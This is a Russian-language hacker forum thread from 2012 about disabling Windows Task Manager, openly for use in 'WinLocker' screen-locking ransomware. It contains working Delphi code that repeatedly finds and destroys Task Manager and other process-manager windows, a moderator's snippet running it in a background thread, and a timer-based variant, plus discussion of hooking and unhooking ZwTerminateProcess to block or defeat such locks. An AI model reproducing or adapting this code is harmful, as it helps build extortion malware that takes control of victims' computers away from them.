Блокировка диспетчера задач
|
|
cool1 | Дата: Среда, 04.01.2012, 12:56 | Сообщение # 1 |
Участник
Зарегистрирован: 14.07.2010
Группа: Пользователи
Сообщений: 238
Статус: Offline
| Многие начинающие при написании ну например локера и т.п. задают вопрос - "Как отключить зловещий диспетчер задач" Способов есть много, ну например всякие таймеры и т.п. Чтобы у вас не возникало вопросов я выложу один из простых способов: Доступно только для пользователей
За помощь ставьте +!
Сообщение отредактировал dolphin - Четверг, 05.01.2012, 11:38 |
|
| |
IgorChekun | Дата: Среда, 04.01.2012, 14:00 | Сообщение # 2 |
Был не раз
Зарегистрирован: 26.12.2011
Группа: Пользователи
Сообщений: 20
Статус: Offline
| Юзвер не сможет открыть Диспетчер, и скачает другую подобную программу)
|
|
| |
GReIIIHuK | Дата: Среда, 04.01.2012, 17:20 | Сообщение # 3 |
Участник
Зарегистрирован: 15.05.2011
Группа: Пользователи
Сообщений: 98
Статус: Offline
| IgorChekun, Таких людей не видел ниразу Я подразделяю их на 4 типа: 1) Ламмер - увидет что заблокирован диспетчер, запросит спец. поддержку(ремонтники :3) 2) Юзер - Диспетчер заблокирован, будут просить помощи у друзей или снесет винду(при необходимости) 3) Продвинутый Юзверь - Разблокирует его сам. 4) Программист - Разблокирует его, узнает кто это сделал, заблокирует его винду к чертям
Skype:"greiiihuk." Да, я преступник. Мое преступление — любопытство. Быть может умру я, умрут многие, но идея останется жить навсегда. Я работаю не только за спасибо.(+) ©
|
|
| |
IgorChekun | Дата: Среда, 04.01.2012, 23:43 | Сообщение # 4 |
Был не раз
Зарегистрирован: 26.12.2011
Группа: Пользователи
Сообщений: 20
Статус: Offline
| А я на 3 группы: 1. Одни просто забьют, контра\ВОВ важнее) 2. Позвонит\спросит у друга) 3. Будут копаться сами до последнего)
|
|
| |
cool1 | Дата: Четверг, 05.01.2012, 09:11 | Сообщение # 5 |
Участник
Зарегистрирован: 14.07.2010
Группа: Пользователи
Сообщений: 238
Статус: Offline
| *-* Это вариант для WinLockera. Так что при использовании этого кода в винлокере, шансов на разблокировку 0!
За помощь ставьте +!
|
|
| |
GReIIIHuK | Дата: Четверг, 05.01.2012, 18:02 | Сообщение # 6 |
Участник
Зарегистрирован: 15.05.2011
Группа: Пользователи
Сообщений: 98
Статус: Offline
| А по мне этот код лучше, сейчас поймешь почему: Доступно только для пользователей
Skype:"greiiihuk." Да, я преступник. Мое преступление — любопытство. Быть может умру я, умрут многие, но идея останется жить навсегда. Я работаю не только за спасибо.(+) ©
Сообщение отредактировал GReIIIHuK - Четверг, 05.01.2012, 19:01 |
|
| |
cool1 | Дата: Понедельник, 09.01.2012, 09:54 | Сообщение # 7 |
Участник
Зарегистрирован: 14.07.2010
Группа: Пользователи
Сообщений: 238
Статус: Offline
| Вот еще аналог нашел: Code procedure AntiTaskMgr(); const WinName : array [1..3] of string = ('Диспетчер задач Windows', 'AnVir Task Manager', 'PROWiSe Manager'); var FU:HWND; i:integer; begin while true do begin for i:=1 to 3 do begin FU := FindWindow(nil, PChar(WinName[i])); if FU <> 0 then SendMessage(FU, WM_DESTROY, 0, 0); end; Sleep(300); end; end;
За помощь ставьте +!
Сообщение отредактировал cool1 - Понедельник, 09.01.2012, 12:57 |
|
| |
Волк-1024 | Дата: Среда, 11.01.2012, 00:06 | Сообщение # 8 |
Авторитетный
Зарегистрирован: 24.07.2011
Группа: Модераторы
Сообщений: 469
Статус: Offline
| Такое нужно делать в отдельном потоке. Иначе зависнет прога.
Как-то так:
Code var ThID: DWORD; begin BeginThread(nil, 0, @AntiTaskMgr, nil, 0, ThID);
Pascal, C\C++, Assembler, Python
Сообщение отредактировал Волк-1024 - Среда, 11.01.2012, 14:40 |
|
| |
GReIIIHuK | Дата: Пятница, 13.01.2012, 12:06 | Сообщение # 9 |
Участник
Зарегистрирован: 15.05.2011
Группа: Пользователи
Сообщений: 98
Статус: Offline
| Quote (cool1) Так же вы можете использовать таймер) Поставив интервал 1, и прописав в обработчике "OnTimer" - KillTask('taskmgr.exe'); Не, это самый "плохой" способ. Я так же сделал, и все равно смог закрыть процесс)) Зажимаем Ctrl+alt+del и держим,он успевает появится на милисекунду, нам этого достаточно чтобы успеть кликнуть. Тк состояние диспетчера по вкладкам не меняется, спокойненько переходим во вкладку процессы, ищем, и закрываем Помню случ. Запустил WinLock с случ. паролем))) И блок. Диспетчера была именно такая. Выкрутился.
Skype:"greiiihuk." Да, я преступник. Мое преступление — любопытство. Быть может умру я, умрут многие, но идея останется жить навсегда. Я работаю не только за спасибо.(+) ©
|
|
| |
vvova15 | Дата: Воскресенье, 15.01.2012, 16:28 | Сообщение # 10 |
Участник
Зарегистрирован: 24.04.2010
Группа: Пользователи
Сообщений: 83
Статус: Offline
| Quote (cool1) Так что при использовании этого кода в винлокере, шансов на разблокировку 0! я напишу свой диспетчер с помощью ToolHelp и обломаю все ваши блокировки серьезно помешать можно только перхватив функции ZwTerminateProcess,ZwWriteProcessMemory и др. поищите по форуму - я где-то выкладывал исходник(правда исходников самого драйвера автор исходника не выложил в публичный доступ)
ICQ 185-398
|
|
| |
C@T | Дата: Воскресенье, 15.01.2012, 17:58 | Сообщение # 11 |
Авторитетный
Зарегистрирован: 06.03.2010
Группа: Модераторы
Сообщений: 265
Статус: Offline
| и то от хуков ZwTerminateProcess и ZwWriteProcessMemory можно избавится, открыть файл ntdll.dll , сравнить начало функций , если они отличаются то функцию похукали и восстановить оригинал
|
|
| |
oke | Дата: Воскресенье, 15.01.2012, 21:27 | Сообщение # 12 |
Постоянный
Зарегистрирован: 15.01.2012
Группа: Пользователи
Сообщений: 124
Статус: Offline
| Quote (C@T) и то от хуков ZwTerminateProcess и ZwWriteProcessMemory можно избавится, открыть файл ntdll.dll , сравнить начало функций , если они отличаются то функцию похукали и восстановить оригинал мало кто до этого додумается
|
|
| |